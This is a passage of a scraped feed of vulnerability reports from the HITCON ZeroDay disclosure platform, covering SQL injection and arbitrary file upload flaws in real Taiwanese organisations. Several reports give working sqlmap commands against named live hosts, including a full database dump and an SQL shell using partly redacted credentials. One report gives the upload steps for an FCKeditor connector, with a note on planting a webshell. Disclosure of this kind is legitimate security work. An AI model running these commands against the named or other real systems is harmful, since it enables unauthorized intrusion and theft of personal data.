      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/14 17:45:27
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/14 17:49:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/14 18:18:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/14 18:35:59
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/14 18:36:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/14 19:43:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/14 19:44:49
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/15 14:12:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/15 21:44:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 深藍潮汐 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:14:46
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:12:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:12:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:12:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/14 03:00:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00651
    </li>
    <li>
     通報者：summer83583 (
     <a href="/user/summer83583">
      深藍潮汐
     </a>
     )
    </li>
    <li>
     風險：嚴重
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。
    <br/>
    <br/>
    漏洞說明： OWASP - SQL Injection
    <br/>
    https://www.owasp.org/index.php/SQL_Injection
    <br/>
    <br/>
    漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A1-Injection
    <br/>
    <br/>
    漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    <br/>
    https://cwe.mitre.org/data/definitions/89.html
    <br/>
    <br/>
    防護方式： OWASP - SQL Injection Prevention Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    http://211.23.225.235/news.php?page=2
    <br/>
    <br/>
    http://211.23.225.235/going_tel/index.php
    <br/>
    <br/>
    http://km.goingnet.com.tw/index/login?next=%2F
    <br/>
    <br/>
    https://my.homeblog.com.tw/
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     經使用SQLmap檢測工具發現
     <a href="http://211.23.225.235/news.php?page=2">
      http://211.23.225.235/news.php?page=2
     </a>
     存在著 盲SQL注入以及UNION 攻擊   POST 參數 QaClass1
    </p>
    <p>
     sqlmap -u "
     <a href="http://211.23.225.235/news.php?page=2">
      http://211.23.225.235/news.php?page=2
     </a>
     "  -D goingnet_tel_db --dump   --forms --crawl=2  --random-agent  -dbms=mysql --batch --tamper=space2comment
     <br/>
     <img alt="alt text" src="https://zeroday.hitcon.org/api/vulnerability/7814/attachments/cbc5ef1f7979826a3d0da7001dd780c2"/>
    </p>
    <p>
     資料庫為goingnet_tel_db  資料表 user_table1 兩位管理者帳號以及密碼
    </p>
    <p>
     嘗試登入員工入口網
     <a href="http://211.23.225.235/going_tel/index.php">
      http://211.23.225.235/going_tel/index.php
     </a>
    </p>
    <p>
     <img alt="alt text" src="https://zeroday.hitcon.org/api/vulnerability/7814/attachments/8ddd833c0b7dd16ec860c182a8404743"/>
    </p>
    <p>
     可利用SQLmap 解密 資料庫 hash 獲得帳號以密碼 sqlmap -d "MySQL://hsucc:
     <a class="__cf_email__" data-cfemail="274f54524444671516160915140915151209151412" href="/cdn-cgi/l/email-protection">
      [email protected]
     </a>
     :3306/goingnet" --sql-shell 進行 MySQL Commands
    </p>
    <p>
     <img alt="alt text" src="https://zeroday.hitcon.org/api/vulnerability/7814/attachments/a706e02d4d54a16f994ce75895c2ab26"/>
     <br/>
     <img alt="alt text" src="https://zeroday.hitcon.org/api/vulnerability/7814/attachments/5cc8779c1ef76967649f30f5b10cd601"/>
     <br/>
     獲得我家部落格社區e化服務平台帳號密碼
     <a href="http://km.goingnet.com.tw/index/login?next=%2F">
      http://km.goingnet.com.tw/index/login?next=%2F
     </a>
     <br/>
     <img alt="alt text" src="https://zeroday.hitcon.org/api/vulnerability/7814/attachments/1b102c1a062da07106c11d6e6c842b31"/>
     <br/>
     經驗證可登入 管理者使用弱密碼沒多因子認證防護機制
     <br/>
     <img alt="alt text" src="https://zeroday.hitcon.org/api/vulnerability/7814/attachments/7785168591145f4b2688fc6061126e47"/>
    </p>
    <p>
     並發現可登入KM知識管理系統
     <a href="http://km.goingnet.com.tw/index/login?next=%2F">
      http://km.goingnet.com.tw/index/login?next=%2F
     </a>
     <br/>
     <img alt="alt text" src="https://zeroday.hitcon.org/api/vulnerability/7814/attachments/d6dc9ad772294ba53f9234c5e1e4fb17"/>
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7814/attachments/cbc5ef1f7979826a3d0da7001dd780c2" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7814/attachments/8ddd833c0b7dd16ec860c182a8404743" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7814/attachments/a706e02d4d54a16f994ce75895c2ab26" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7814/attachments/5cc8779c1ef76967649f30f5b10cd601" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7814/attachments/1b102c1a062da07106c11d6e6c842b31" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7814/attachments/7785168591145f4b2688fc6061126e47" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7814/attachments/d6dc9ad772294ba53f9234c5e1e4fb17" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/4342">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 14 Aug 2022 17:45:27 GMT</pubDate></item><item><title>飛暘科技 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00650</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00650
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/4343">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      飛暘科技
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      飛暘科技 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/14
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/14 16:26:48
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 a_cat 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:14:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/14 03:00:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00650
    </li>
    <li>
     通報者：Alan_875 (
     <a href="/user/Alan_875">
      a_cat
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。
    <br/>
    <br/>
    漏洞說明： OWASP - SQL Injection
    <br/>
    https://www.owasp.org/index.php/SQL_Injection
    <br/>
    <br/>
    漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A1-Injection
    <br/>
    <br/>
    漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    <br/>
    https://cwe.mitre.org/data/definitions/89.html
    <br/>
    <br/>
    防護方式： OWASP - SQL Injection Prevention Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    http://www.flyinfo.com.tw/site_item_content_3.php?site_map_item_id=16
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     sqlmap payload:
     <br/>
     sqlmap -u
     <a href="http://www.flyinfo.com.tw/site_item_content_3.php%5C?site_map_item_id%5C=16">
      http://www.flyinfo.com.tw/site_item_content_3.php\?site_map_item_id\=16
     </a>
     --batch --random-agent
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7813/attachments/f629b3c25912dda8bfce6dd1598b2c9b" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/4343">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 14 Aug 2022 16:26:48 GMT</pubDate></item><item><title>國立高雄科技大學圖書館 任意上傳檔案</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00649</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00649
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/4">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      國立高雄科技大學
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      國立高雄科技大學圖書館 任意上傳檔案
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      FCKEditor 任意檔案上傳問題
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/14
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/14 05:37:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Marco 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/14 05:44:24
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Marco 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/15 07:27:49
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Marco 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:13:07
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:28
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:28
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:28
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/14 03:00:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00649
    </li>
    <li>
     通報者：mlgzackfly (
     <a href="/user/mlgzackfly">
      Marco
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：任意檔案上傳 (Arbitrary File Upload)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可上傳任意檔案至該主機，有機會經由上傳之文件取得該主機系統權限。
    <br/>
    <br/>
    漏洞說明： OWASP - Unrestricted File Upload
    <br/>
    https://www.owasp.org/index.php/Unrestricted_File_Upload
    <br/>
    <br/>
    漏洞說明： CWE-434: Unrestricted Upload of File with Dangerous Type
    <br/>
    https://cwe.mitre.org/data/definitions/434.html
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    https://space.lib.nkust.edu.tw/space/fckeditor/upload_files/1660425920.txt
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     <code>
      https://space.lib.nkust.edu.tw/space/fckeditor/editor/fckeditor.html
     </code>
     <br/>
     從網址中能得知使用的是 FCKeditor，進而尋找下一步所需的上傳頁面。
     <br/>
     從 fckconfig.js 中，可得知上傳連結為
     <br/>
     <code>
      https://space.lib.nkust.edu.tw/space/fckeditor/editor/filemanager/connectors/php/upload.php
     </code>
     <br/>
     用 POST 的方式在 form-data 中 使用 NewFile 參數夾帶檔案便可上傳成功
     <br/>
     而 Response 則會告知我們檔案的名稱及位置
     <br/>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7812/attachments/439c82b29eb566a41862c5d73b81dc99"/>
    </p>
    <p>
     有機會藉由此頁面上傳 webshell 來獲取更高的權限。
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7812/attachments/439c82b29eb566a41862c5d73b81dc99" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7812/attachments/f596ecd0790b7d2f87701494dbeb8259" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/4">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 14 Aug 2022 05:37:31 GMT</pubDate></item><item><title> 某單位  實習日誌系統 SQL injection</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00836</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00836
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  實習日誌系統 SQL injection
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      登入頁面存在資料庫注入漏洞
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    已修補
   </div>
   <div class="status-descr">
    Last Update : 2022/10/13
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/04 01:22:08
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 勞贖 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/04 01:24:01
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 勞贖 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/05 00:50:50
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:26:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:26:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:26:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 18:56:47
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00836
    </li>
    <li>
     通報者：dash2100 (
     <a href="/user/dash2100">
      勞贖
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 04 Oct 2022 01:22:08 GMT</pubDate></item><item><title> 某單位  資料庫注入漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00816</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00816
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
